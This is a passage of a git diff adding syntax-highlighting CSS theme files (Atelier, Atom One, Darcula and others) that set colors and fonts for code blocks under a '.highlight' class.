+.highlight .name,
+.highlight .selector-id,
+.highlight .selector-class {
+ color: #ca402b;
+}
+
+/* Atelier-Heath Orange */
+.highlight .number,
+.highlight .meta,
+.highlight .built_in,
+.highlight .builtin-name,
+.highlight .literal,
+.highlight .type,
+.highlight .params {
+ color: #a65926;
+}
+
+/* Atelier-Heath Green */
+.highlight .string,
+.highlight .symbol,
+.highlight .bullet {
+ color: #918b3b;
+}
+
+/* Atelier-Heath Blue */
+.highlight .title,
+.highlight .section {
+ color: #516aec;
+}
+
+/* Atelier-Heath Purple */
+.highlight .keyword,
+.highlight .selector-tag {
+ color: #7b59c0;
+}
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ background: #f7f3f7;
+ color: #695d69;
+ padding: 0.5em;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
diff --git a/css/highlight/atelier-lakeside-dark.css b/css/highlight/atelier-lakeside-dark.css
new file mode 100644
index 00000000..6f2e961d
--- /dev/null
+++ b/css/highlight/atelier-lakeside-dark.css
@@ -0,0 +1,69 @@
+/* Base16 Atelier Lakeside Dark - Theme */
+/* by Bram de Haan (http://atelierbram.github.io/syntax-highlighting/atelier-schemes/lakeside) */
+/* Original Base16 color scheme by Chris Kempson (https://github.com/chriskempson/base16) */
+
+/* Atelier-Lakeside Comment */
+.highlight .comment,
+.highlight .quote {
+ color: #7195a8;
+}
+
+/* Atelier-Lakeside Red */
+.highlight .variable,
+.highlight .template-variable,
+.highlight .attribute,
+.highlight .tag,
+.highlight .name,
+.highlight .regexp,
+.highlight .link,
+.highlight .name,
+.highlight .selector-id,
+.highlight .selector-class {
+ color: #d22d72;
+}
+
+/* Atelier-Lakeside Orange */
+.highlight .number,
+.highlight .meta,
+.highlight .built_in,
+.highlight .builtin-name,
+.highlight .literal,
+.highlight .type,
+.highlight .params {
+ color: #935c25;
+}
+
+/* Atelier-Lakeside Green */
+.highlight .string,
+.highlight .symbol,
+.highlight .bullet {
+ color: #568c3b;
+}
+
+/* Atelier-Lakeside Blue */
+.highlight .title,
+.highlight .section {
+ color: #257fad;
+}
+
+/* Atelier-Lakeside Purple */
+.highlight .keyword,
+.highlight .selector-tag {
+ color: #6b6bb8;
+}
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ background: #161b1d;
+ color: #7ea2b4;
+ padding: 0.5em;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
diff --git a/css/highlight/atelier-lakeside-light.css b/css/highlight/atelier-lakeside-light.css
new file mode 100644
index 00000000..7092b371
--- /dev/null
+++ b/css/highlight/atelier-lakeside-light.css
@@ -0,0 +1,69 @@
+/* Base16 Atelier Lakeside Light - Theme */
+/* by Bram de Haan (http://atelierbram.github.io/syntax-highlighting/atelier-schemes/lakeside) */
+/* Original Base16 color scheme by Chris Kempson (https://github.com/chriskempson/base16) */
+
+/* Atelier-Lakeside Comment */
+.highlight .comment,
+.highlight .quote {
+ color: #5a7b8c;
+}
+
+/* Atelier-Lakeside Red */
+.highlight .variable,
+.highlight .template-variable,
+.highlight .attribute,
+.highlight .tag,
+.highlight .name,
+.highlight .regexp,
+.highlight .link,
+.highlight .name,
+.highlight .selector-id,
+.highlight .selector-class {
+ color: #d22d72;
+}
+
+/* Atelier-Lakeside Orange */
+.highlight .number,
+.highlight .meta,
+.highlight .built_in,
+.highlight .builtin-name,
+.highlight .literal,
+.highlight .type,
+.highlight .params {
+ color: #935c25;
+}
+
+/* Atelier-Lakeside Green */
+.highlight .string,
+.highlight .symbol,
+.highlight .bullet {
+ color: #568c3b;
+}
+
+/* Atelier-Lakeside Blue */
+.highlight .title,
+.highlight .section {
+ color: #257fad;
+}
+
+/* Atelier-Lakeside Purple */
+.highlight .keyword,
+.highlight .selector-tag {
+ color: #6b6bb8;
+}
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ background: #ebf8ff;
+ color: #516d7b;
+ padding: 0.5em;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
diff --git a/css/highlight/atelier-plateau-dark.css b/css/highlight/atelier-plateau-dark.css
new file mode 100644
index 00000000..6d02a014
--- /dev/null
+++ b/css/highlight/atelier-plateau-dark.css
@@ -0,0 +1,84 @@
+/* Base16 Atelier Plateau Dark - Theme */
+/* by Bram de Haan (http://atelierbram.github.io/syntax-highlighting/atelier-schemes/plateau) */
+/* Original Base16 color scheme by Chris Kempson (https://github.com/chriskempson/base16) */
+
+/* Atelier-Plateau Comment */
+.highlight .comment,
+.highlight .quote {
+ color: #7e7777;
+}
+
+/* Atelier-Plateau Red */
+.highlight .variable,
+.highlight .template-variable,
+.highlight .attribute,
+.highlight .tag,
+.highlight .name,
+.highlight .regexp,
+.highlight .link,
+.highlight .name,
+.highlight .selector-id,
+.highlight .selector-class {
+ color: #ca4949;
+}
+
+/* Atelier-Plateau Orange */
+.highlight .number,
+.highlight .meta,
+.highlight .built_in,
+.highlight .builtin-name,
+.highlight .literal,
+.highlight .type,
+.highlight .params {
+ color: #b45a3c;
+}
+
+/* Atelier-Plateau Green */
+.highlight .string,
+.highlight .symbol,
+.highlight .bullet {
+ color: #4b8b8b;
+}
+
+/* Atelier-Plateau Blue */
+.highlight .title,
+.highlight .section {
+ color: #7272ca;
+}
+
+/* Atelier-Plateau Purple */
+.highlight .keyword,
+.highlight .selector-tag {
+ color: #8464c4;
+}
+
+.highlight .deletion,
+.highlight .addition {
+ color: #1b1818;
+ display: inline-block;
+ width: 100%;
+}
+
+.highlight .deletion {
+ background-color: #ca4949;
+}
+
+.highlight .addition {
+ background-color: #4b8b8b;
+}
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ background: #1b1818;
+ color: #8a8585;
+ padding: 0.5em;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
diff --git a/css/highlight/atelier-plateau-light.css b/css/highlight/atelier-plateau-light.css
new file mode 100644
index 00000000..8d4b37cd
--- /dev/null
+++ b/css/highlight/atelier-plateau-light.css
@@ -0,0 +1,84 @@
+/* Base16 Atelier Plateau Light - Theme */
+/* by Bram de Haan (http://atelierbram.github.io/syntax-highlighting/atelier-schemes/plateau) */
+/* Original Base16 color scheme by Chris Kempson (https://github.com/chriskempson/base16) */
+
+/* Atelier-Plateau Comment */
+.highlight .comment,
+.highlight .quote {
+ color: #655d5d;
+}
+
+/* Atelier-Plateau Red */
+.highlight .variable,
+.highlight .template-variable,
+.highlight .attribute,
+.highlight .tag,
+.highlight .name,
+.highlight .regexp,
+.highlight .link,
+.highlight .name,
+.highlight .selector-id,
+.highlight .selector-class {
+ color: #ca4949;
+}
+
+/* Atelier-Plateau Orange */
+.highlight .number,
+.highlight .meta,
+.highlight .built_in,
+.highlight .builtin-name,
+.highlight .literal,
+.highlight .type,
+.highlight .params {
+ color: #b45a3c;
+}
+
+/* Atelier-Plateau Green */
+.highlight .string,
+.highlight .symbol,
+.highlight .bullet {
+ color: #4b8b8b;
+}
+
+/* Atelier-Plateau Blue */
+.highlight .title,
+.highlight .section {
+ color: #7272ca;
+}
+
+/* Atelier-Plateau Purple */
+.highlight .keyword,
+.highlight .selector-tag {
+ color: #8464c4;
+}
+
+.highlight .deletion,
+.highlight .addition {
+ color: #1b1818;
+ display: inline-block;
+ width: 100%;
+}
+
+.highlight .deletion {
+ background-color: #ca4949;
+}
+
+.highlight .addition {
+ background-color: #4b8b8b;
+}
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ background: #f4ecec;
+ color: #585050;
+ padding: 0.5em;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
diff --git a/css/highlight/atelier-savanna-dark.css b/css/highlight/atelier-savanna-dark.css
new file mode 100644
index 00000000..84316eba
--- /dev/null
+++ b/css/highlight/atelier-savanna-dark.css
@@ -0,0 +1,84 @@
+/* Base16 Atelier Savanna Dark - Theme */
+/* by Bram de Haan (http://atelierbram.github.io/syntax-highlighting/atelier-schemes/savanna) */
+/* Original Base16 color scheme by Chris Kempson (https://github.com/chriskempson/base16) */
+
+/* Atelier-Savanna Comment */
+.highlight .comment,
+.highlight .quote {
+ color: #78877d;
+}
+
+/* Atelier-Savanna Red */
+.highlight .variable,
+.highlight .template-variable,
+.highlight .attribute,
+.highlight .tag,
+.highlight .name,
+.highlight .regexp,
+.highlight .link,
+.highlight .name,
+.highlight .selector-id,
+.highlight .selector-class {
+ color: #b16139;
+}
+
+/* Atelier-Savanna Orange */
+.highlight .number,
+.highlight .meta,
+.highlight .built_in,
+.highlight .builtin-name,
+.highlight .literal,
+.highlight .type,
+.highlight .params {
+ color: #9f713c;
+}
+
+/* Atelier-Savanna Green */
+.highlight .string,
+.highlight .symbol,
+.highlight .bullet {
+ color: #489963;
+}
+
+/* Atelier-Savanna Blue */
+.highlight .title,
+.highlight .section {
+ color: #478c90;
+}
+
+/* Atelier-Savanna Purple */
+.highlight .keyword,
+.highlight .selector-tag {
+ color: #55859b;
+}
+
+.highlight .deletion,
+.highlight .addition {
+ color: #171c19;
+ display: inline-block;
+ width: 100%;
+}
+
+.highlight .deletion {
+ background-color: #b16139;
+}
+
+.highlight .addition {
+ background-color: #489963;
+}
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ background: #171c19;
+ color: #87928a;
+ padding: 0.5em;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
diff --git a/css/highlight/atelier-savanna-light.css b/css/highlight/atelier-savanna-light.css
new file mode 100644
index 00000000..2dc670eb
--- /dev/null
+++ b/css/highlight/atelier-savanna-light.css
@@ -0,0 +1,84 @@
+/* Base16 Atelier Savanna Light - Theme */
+/* by Bram de Haan (http://atelierbram.github.io/syntax-highlighting/atelier-schemes/savanna) */
+/* Original Base16 color scheme by Chris Kempson (https://github.com/chriskempson/base16) */
+
+/* Atelier-Savanna Comment */
+.highlight .comment,
+.highlight .quote {
+ color: #5f6d64;
+}
+
+/* Atelier-Savanna Red */
+.highlight .variable,
+.highlight .template-variable,
+.highlight .attribute,
+.highlight .tag,
+.highlight .name,
+.highlight .regexp,
+.highlight .link,
+.highlight .name,
+.highlight .selector-id,
+.highlight .selector-class {
+ color: #b16139;
+}
+
+/* Atelier-Savanna Orange */
+.highlight .number,
+.highlight .meta,
+.highlight .built_in,
+.highlight .builtin-name,
+.highlight .literal,
+.highlight .type,
+.highlight .params {
+ color: #9f713c;
+}
+
+/* Atelier-Savanna Green */
+.highlight .string,
+.highlight .symbol,
+.highlight .bullet {
+ color: #489963;
+}
+
+/* Atelier-Savanna Blue */
+.highlight .title,
+.highlight .section {
+ color: #478c90;
+}
+
+/* Atelier-Savanna Purple */
+.highlight .keyword,
+.highlight .selector-tag {
+ color: #55859b;
+}
+
+.highlight .deletion,
+.highlight .addition {
+ color: #171c19;
+ display: inline-block;
+ width: 100%;
+}
+
+.highlight .deletion {
+ background-color: #b16139;
+}
+
+.highlight .addition {
+ background-color: #489963;
+}
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ background: #ecf4ee;
+ color: #526057;
+ padding: 0.5em;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
diff --git a/css/highlight/atelier-seaside-dark.css b/css/highlight/atelier-seaside-dark.css
new file mode 100644
index 00000000..ba847dfb
--- /dev/null
+++ b/css/highlight/atelier-seaside-dark.css
@@ -0,0 +1,69 @@
+/* Base16 Atelier Seaside Dark - Theme */
+/* by Bram de Haan (http://atelierbram.github.io/syntax-highlighting/atelier-schemes/seaside) */
+/* Original Base16 color scheme by Chris Kempson (https://github.com/chriskempson/base16) */
+
+/* Atelier-Seaside Comment */
+.highlight .comment,
+.highlight .quote {
+ color: #809980;
+}
+
+/* Atelier-Seaside Red */
+.highlight .variable,
+.highlight .template-variable,
+.highlight .attribute,
+.highlight .tag,
+.highlight .name,
+.highlight .regexp,
+.highlight .link,
+.highlight .name,
+.highlight .selector-id,
+.highlight .selector-class {
+ color: #e6193c;
+}
+
+/* Atelier-Seaside Orange */
+.highlight .number,
+.highlight .meta,
+.highlight .built_in,
+.highlight .builtin-name,
+.highlight .literal,
+.highlight .type,
+.highlight .params {
+ color: #87711d;
+}
+
+/* Atelier-Seaside Green */
+.highlight .string,
+.highlight .symbol,
+.highlight .bullet {
+ color: #29a329;
+}
+
+/* Atelier-Seaside Blue */
+.highlight .title,
+.highlight .section {
+ color: #3d62f5;
+}
+
+/* Atelier-Seaside Purple */
+.highlight .keyword,
+.highlight .selector-tag {
+ color: #ad2bee;
+}
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ background: #131513;
+ color: #8ca68c;
+ padding: 0.5em;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
diff --git a/css/highlight/atelier-seaside-light.css b/css/highlight/atelier-seaside-light.css
new file mode 100644
index 00000000..a7f89f17
--- /dev/null
+++ b/css/highlight/atelier-seaside-light.css
@@ -0,0 +1,69 @@
+/* Base16 Atelier Seaside Light - Theme */
+/* by Bram de Haan (http://atelierbram.github.io/syntax-highlighting/atelier-schemes/seaside) */
+/* Original Base16 color scheme by Chris Kempson (https://github.com/chriskempson/base16) */
+
+/* Atelier-Seaside Comment */
+.highlight .comment,
+.highlight .quote {
+ color: #687d68;
+}
+
+/* Atelier-Seaside Red */
+.highlight .variable,
+.highlight .template-variable,
+.highlight .attribute,
+.highlight .tag,
+.highlight .name,
+.highlight .regexp,
+.highlight .link,
+.highlight .name,
+.highlight .selector-id,
+.highlight .selector-class {
+ color: #e6193c;
+}
+
+/* Atelier-Seaside Orange */
+.highlight .number,
+.highlight .meta,
+.highlight .built_in,
+.highlight .builtin-name,
+.highlight .literal,
+.highlight .type,
+.highlight .params {
+ color: #87711d;
+}
+
+/* Atelier-Seaside Green */
+.highlight .string,
+.highlight .symbol,
+.highlight .bullet {
+ color: #29a329;
+}
+
+/* Atelier-Seaside Blue */
+.highlight .title,
+.highlight .section {
+ color: #3d62f5;
+}
+
+/* Atelier-Seaside Purple */
+.highlight .keyword,
+.highlight .selector-tag {
+ color: #ad2bee;
+}
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ background: #f4fbf4;
+ color: #5e6e5e;
+ padding: 0.5em;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
diff --git a/css/highlight/atelier-sulphurpool-dark.css b/css/highlight/atelier-sulphurpool-dark.css
new file mode 100644
index 00000000..3ccc9e92
--- /dev/null
+++ b/css/highlight/atelier-sulphurpool-dark.css
@@ -0,0 +1,69 @@
+/* Base16 Atelier Sulphurpool Dark - Theme */
+/* by Bram de Haan (http://atelierbram.github.io/syntax-highlighting/atelier-schemes/sulphurpool) */
+/* Original Base16 color scheme by Chris Kempson (https://github.com/chriskempson/base16) */
+
+/* Atelier-Sulphurpool Comment */
+.highlight .comment,
+.highlight .quote {
+ color: #898ea4;
+}
+
+/* Atelier-Sulphurpool Red */
+.highlight .variable,
+.highlight .template-variable,
+.highlight .attribute,
+.highlight .tag,
+.highlight .name,
+.highlight .regexp,
+.highlight .link,
+.highlight .name,
+.highlight .selector-id,
+.highlight .selector-class {
+ color: #c94922;
+}
+
+/* Atelier-Sulphurpool Orange */
+.highlight .number,
+.highlight .meta,
+.highlight .built_in,
+.highlight .builtin-name,
+.highlight .literal,
+.highlight .type,
+.highlight .params {
+ color: #c76b29;
+}
+
+/* Atelier-Sulphurpool Green */
+.highlight .string,
+.highlight .symbol,
+.highlight .bullet {
+ color: #ac9739;
+}
+
+/* Atelier-Sulphurpool Blue */
+.highlight .title,
+.highlight .section {
+ color: #3d8fd1;
+}
+
+/* Atelier-Sulphurpool Purple */
+.highlight .keyword,
+.highlight .selector-tag {
+ color: #6679cc;
+}
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ background: #202746;
+ color: #979db4;
+ padding: 0.5em;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
diff --git a/css/highlight/atelier-sulphurpool-light.css b/css/highlight/atelier-sulphurpool-light.css
new file mode 100644
index 00000000..f20e3a4c
--- /dev/null
+++ b/css/highlight/atelier-sulphurpool-light.css
@@ -0,0 +1,69 @@
+/* Base16 Atelier Sulphurpool Light - Theme */
+/* by Bram de Haan (http://atelierbram.github.io/syntax-highlighting/atelier-schemes/sulphurpool) */
+/* Original Base16 color scheme by Chris Kempson (https://github.com/chriskempson/base16) */
+
+/* Atelier-Sulphurpool Comment */
+.highlight .comment,
+.highlight .quote {
+ color: #6b7394;
+}
+
+/* Atelier-Sulphurpool Red */
+.highlight .variable,
+.highlight .template-variable,
+.highlight .attribute,
+.highlight .tag,
+.highlight .name,
+.highlight .regexp,
+.highlight .link,
+.highlight .name,
+.highlight .selector-id,
+.highlight .selector-class {
+ color: #c94922;
+}
+
+/* Atelier-Sulphurpool Orange */
+.highlight .number,
+.highlight .meta,
+.highlight .built_in,
+.highlight .builtin-name,
+.highlight .literal,
+.highlight .type,
+.highlight .params {
+ color: #c76b29;
+}
+
+/* Atelier-Sulphurpool Green */
+.highlight .string,
+.highlight .symbol,
+.highlight .bullet {
+ color: #ac9739;
+}
+
+/* Atelier-Sulphurpool Blue */
+.highlight .title,
+.highlight .section {
+ color: #3d8fd1;
+}
+
+/* Atelier-Sulphurpool Purple */
+.highlight .keyword,
+.highlight .selector-tag {
+ color: #6679cc;
+}
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ background: #f5f7ff;
+ color: #5e6687;
+ padding: 0.5em;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
diff --git a/css/highlight/atom-one-dark-reasonable.css b/css/highlight/atom-one-dark-reasonable.css
new file mode 100644
index 00000000..bb69e83d
--- /dev/null
+++ b/css/highlight/atom-one-dark-reasonable.css
@@ -0,0 +1,75 @@
+/*
+
+Atom One Dark With support for ReasonML by Gidi Morris, based off work by Daniel Gamage
+
+Original One Dark Syntax theme from https://github.com/atom/one-dark-syntax
+
+*/
+.highlight {
+ display: block;
+ overflow-x: auto;
+ padding: 0.5em;
+ color: #abb2bf;
+ background: #282c34;
+}
+.highlight .keyword, .highlight .operator {
+ color: #F92672;
+}
+.highlight .pattern-match {
+ color: #F92672;
+}
+.highlight .pattern-match .highlight .constructor {
+ color: #61aeee;
+}
+.highlight .function {
+ color: #61aeee;
+}
+.highlight .function .highlight .params {
+ color: #A6E22E;
+}
+.highlight .function .highlight .params .highlight .typing {
+ color: #FD971F;
+}
+.highlight .module-access .highlight .module {
+ color: #7e57c2;
+}
+.highlight .constructor {
+ color: #e2b93d;
+}
+.highlight .constructor .highlight .string {
+ color: #9CCC65;
+}
+.highlight .comment, .highlight .quote {
+ color: #b18eb1;
+ font-style: italic;
+}
+.highlight .doctag, .highlight .formula {
+ color: #c678dd;
+}
+.highlight .section, .highlight .name, .highlight .selector-tag, .highlight .deletion, .highlight .subst {
+ color: #e06c75;
+}
+.highlight .literal {
+ color: #56b6c2;
+}
+.highlight .string, .highlight .regexp, .highlight .addition, .highlight .attribute, .highlight .meta-string {
+ color: #98c379;
+}
+.highlight .built_in, .highlight .class .highlight .title {
+ color: #e6c07b;
+}
+.highlight .attr, .highlight .variable, .highlight .template-variable, .highlight .type, .highlight .selector-class, .highlight .selector-attr, .highlight .selector-pseudo, .highlight .number {
+ color: #d19a66;
+}
+.highlight .symbol, .highlight .bullet, .highlight .link, .highlight .meta, .highlight .selector-id, .highlight .title {
+ color: #61aeee;
+}
+.highlight .emphasis {
+ font-style: italic;
+}
+.highlight .strong {
+ font-weight: bold;
+}
+.highlight .link {
+ text-decoration: underline;
+}
diff --git a/css/highlight/atom-one-dark.css b/css/highlight/atom-one-dark.css
new file mode 100644
index 00000000..20d37dd0
--- /dev/null
+++ b/css/highlight/atom-one-dark.css
@@ -0,0 +1,96 @@
+/*
+
+Atom One Dark by Daniel Gamage
+Original One Dark Syntax theme from https://github.com/atom/one-dark-syntax
+
+base: #282c34
+mono-1: #abb2bf
+mono-2: #818896
+mono-3: #5c6370
+hue-1: #56b6c2
+hue-2: #61aeee
+hue-3: #c678dd
+hue-4: #98c379
+hue-5: #e06c75
+hue-5-2: #be5046
+hue-6: #d19a66
+hue-6-2: #e6c07b
+
+*/
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ padding: 0.5em;
+ color: #abb2bf;
+ background: #282c34;
+}
+
+.highlight .comment,
+.highlight .quote {
+ color: #5c6370;
+ font-style: italic;
+}
+
+.highlight .doctag,
+.highlight .keyword,
+.highlight .formula {
+ color: #c678dd;
+}
+
+.highlight .section,
+.highlight .name,
+.highlight .selector-tag,
+.highlight .deletion,
+.highlight .subst {
+ color: #e06c75;
+}
+
+.highlight .literal {
+ color: #56b6c2;
+}
+
+.highlight .string,
+.highlight .regexp,
+.highlight .addition,
+.highlight .attribute,
+.highlight .meta-string {
+ color: #98c379;
+}
+
+.highlight .built_in,
+.highlight .class .highlight .title {
+ color: #e6c07b;
+}
+
+.highlight .attr,
+.highlight .variable,
+.highlight .template-variable,
+.highlight .type,
+.highlight .selector-class,
+.highlight .selector-attr,
+.highlight .selector-pseudo,
+.highlight .number {
+ color: #d19a66;
+}
+
+.highlight .symbol,
+.highlight .bullet,
+.highlight .link,
+.highlight .meta,
+.highlight .selector-id,
+.highlight .title {
+ color: #61aeee;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
+
+.highlight .link {
+ text-decoration: underline;
+}
diff --git a/css/highlight/atom-one-light.css b/css/highlight/atom-one-light.css
new file mode 100644
index 00000000..25d3c89f
--- /dev/null
+++ b/css/highlight/atom-one-light.css
@@ -0,0 +1,96 @@
+/*
+
+Atom One Light by Daniel Gamage
+Original One Light Syntax theme from https://github.com/atom/one-light-syntax
+
+base: #fafafa
+mono-1: #383a42
+mono-2: #686b77
+mono-3: #a0a1a7
+hue-1: #0184bb
+hue-2: #4078f2
+hue-3: #a626a4
+hue-4: #50a14f
+hue-5: #e45649
+hue-5-2: #c91243
+hue-6: #986801
+hue-6-2: #c18401
+
+*/
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ padding: 0.5em;
+ color: #383a42;
+ background: #fafafa;
+}
+
+.highlight .comment,
+.highlight .quote {
+ color: #a0a1a7;
+ font-style: italic;
+}
+
+.highlight .doctag,
+.highlight .keyword,
+.highlight .formula {
+ color: #a626a4;
+}
+
+.highlight .section,
+.highlight .name,
+.highlight .selector-tag,
+.highlight .deletion,
+.highlight .subst {
+ color: #e45649;
+}
+
+.highlight .literal {
+ color: #0184bb;
+}
+
+.highlight .string,
+.highlight .regexp,
+.highlight .addition,
+.highlight .attribute,
+.highlight .meta-string {
+ color: #50a14f;
+}
+
+.highlight .built_in,
+.highlight .class .highlight .title {
+ color: #c18401;
+}
+
+.highlight .attr,
+.highlight .variable,
+.highlight .template-variable,
+.highlight .type,
+.highlight .selector-class,
+.highlight .selector-attr,
+.highlight .selector-pseudo,
+.highlight .number {
+ color: #986801;
+}
+
+.highlight .symbol,
+.highlight .bullet,
+.highlight .link,
+.highlight .meta,
+.highlight .selector-id,
+.highlight .title {
+ color: #4078f2;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
+
+.highlight .link {
+ text-decoration: underline;
+}
diff --git a/css/highlight/brown-paper.css b/css/highlight/brown-paper.css
new file mode 100644
index 00000000..e3de7a76
--- /dev/null
+++ b/css/highlight/brown-paper.css
@@ -0,0 +1,64 @@
+/*
+
+Brown Paper style from goldblog.com.ua (c) Zaripov Yura
+
+*/
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ padding: 0.5em;
+ background:#b7a68e url(./brown-papersq.png);
+}
+
+.highlight .keyword,
+.highlight .selector-tag,
+.highlight .literal {
+ color:#005599;
+ font-weight:bold;
+}
+
+.highlight,
+.highlight .subst {
+ color: #363c69;
+}
+
+.highlight .string,
+.highlight .title,
+.highlight .section,
+.highlight .type,
+.highlight .attribute,
+.highlight .symbol,
+.highlight .bullet,
+.highlight .built_in,
+.highlight .addition,
+.highlight .variable,
+.highlight .template-tag,
+.highlight .template-variable,
+.highlight .link,
+.highlight .name {
+ color: #2c009f;
+}
+
+.highlight .comment,
+.highlight .quote,
+.highlight .meta,
+.highlight .deletion {
+ color: #802022;
+}
+
+.highlight .keyword,
+.highlight .selector-tag,
+.highlight .literal,
+.highlight .doctag,
+.highlight .title,
+.highlight .section,
+.highlight .type,
+.highlight .name,
+.highlight .strong {
+ font-weight: bold;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
diff --git a/css/highlight/codepen-embed.css b/css/highlight/codepen-embed.css
new file mode 100644
index 00000000..7089bc60
--- /dev/null
+++ b/css/highlight/codepen-embed.css
@@ -0,0 +1,60 @@
+/*
+ codepen.io Embed Theme
+ Author: Justin Perry
+ Original theme - https://github.com/chriskempson/tomorrow-theme
+*/
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ padding: 0.5em;
+ background: #222;
+ color: #fff;
+}
+
+.highlight .comment,
+.highlight .quote {
+ color: #777;
+}
+
+.highlight .variable,
+.highlight .template-variable,
+.highlight .tag,
+.highlight .regexp,
+.highlight .meta,
+.highlight .number,
+.highlight .built_in,
+.highlight .builtin-name,
+.highlight .literal,
+.highlight .params,
+.highlight .symbol,
+.highlight .bullet,
+.highlight .link,
+.highlight .deletion {
+ color: #ab875d;
+}
+
+.highlight .section,
+.highlight .title,
+.highlight .name,
+.highlight .selector-id,
+.highlight .selector-class,
+.highlight .type,
+.highlight .attribute {
+ color: #9b869b;
+}
+
+.highlight .string,
+.highlight .keyword,
+.highlight .selector-tag,
+.highlight .addition {
+ color: #8f9c6c;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
diff --git a/css/highlight/color-brewer.css b/css/highlight/color-brewer.css
new file mode 100644
index 00000000..419b23d5
--- /dev/null
+++ b/css/highlight/color-brewer.css
@@ -0,0 +1,71 @@
+/*
+
+Colorbrewer theme
+Original: https://github.com/mbostock/colorbrewer-theme (c) Mike Bostock
+Ported by Fabrício Tavares de Oliveira
+
+*/
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ padding: 0.5em;
+ background: #fff;
+}
+
+.highlight,
+.highlight .subst {
+ color: #000;
+}
+
+.highlight .string,
+.highlight .meta,
+.highlight .symbol,
+.highlight .template-tag,
+.highlight .template-variable,
+.highlight .addition {
+ color: #756bb1;
+}
+
+.highlight .comment,
+.highlight .quote {
+ color: #636363;
+}
+
+.highlight .number,
+.highlight .regexp,
+.highlight .literal,
+.highlight .bullet,
+.highlight .link {
+ color: #31a354;
+}
+
+.highlight .deletion,
+.highlight .variable {
+ color: #88f;
+}
+
+
+
+.highlight .keyword,
+.highlight .selector-tag,
+.highlight .title,
+.highlight .section,
+.highlight .built_in,
+.highlight .doctag,
+.highlight .type,
+.highlight .tag,
+.highlight .name,
+.highlight .selector-id,
+.highlight .selector-class,
+.highlight .strong {
+ color: #3182bd;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .attribute {
+ color: #e6550d;
+}
diff --git a/css/highlight/darcula.css b/css/highlight/darcula.css
new file mode 100644
index 00000000..07c194ec
--- /dev/null
+++ b/css/highlight/darcula.css
@@ -0,0 +1,74 @@
+/*
+
+Darcula color scheme from the JetBrains family of IDEs
+
+*/
+
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ padding: 0.5em;
+ background: #2b2b2b;
+ color: #bababa;
+}
+
+.highlight .strong,
+.highlight .emphasis {
+ color: #a8a8a2;
+}
+
+.highlight .bullet,
+.highlight .quote,
+.highlight .link,
+.highlight .number,
+.highlight .regexp,
+.highlight .literal {
+ color: #6896ba;
+}
+
+.highlight .code,
+.highlight .selector-class {
+ color: #a6e22e;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .keyword,
+.highlight .selector-tag,
+.highlight .section,
+.highlight .attribute,
+.highlight .name,
+.highlight .variable {
+ color: #cb7832;
+}
+
+.highlight .params {
+ color: #b9b9b9;
+}
+
+.highlight .string {
+ color: #6a8759;
+}
+
+.highlight .subst,
+.highlight .type,
+.highlight .built_in,
+.highlight .builtin-name,
+.highlight .symbol,
+.highlight .selector-id,
+.highlight .selector-attr,
+.highlight .selector-pseudo,
+.highlight .template-tag,
+.highlight .template-variable,
+.highlight .addition {
+ color: #e0c46c;
+}
+
+.highlight .comment,
+.highlight .deletion,
+.highlight .meta {
+ color: #7f7f7f;
+}
diff --git a/css/highlight/dark.css b/css/highlight/dark.css
new file mode 100644
index 00000000..b9703c70
--- /dev/null
+++ b/css/highlight/dark.css
@@ -0,0 +1,63 @@
+/*
+
+Dark style from softwaremaniacs.org (c) Ivan Sagalaev
+
+*/
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ padding: 0.5em;
+ background: #444;
+}
+
+.highlight .keyword,
+.highlight .selector-tag,
+.highlight .literal,
+.highlight .section,
+.highlight .link {
+ color: white;
+}
+
+.highlight,
+.highlight .subst {
+ color: #ddd;
+}
+
+.highlight .string,
+.highlight .title,
+.highlight .name,
+.highlight .type,
+.highlight .attribute,
+.highlight .symbol,
+.highlight .bullet,
+.highlight .built_in,
+.highlight .addition,
+.highlight .variable,
+.highlight .template-tag,
+.highlight .template-variable {
+ color: #d88;
+}
+
+.highlight .comment,
+.highlight .quote,
+.highlight .deletion,
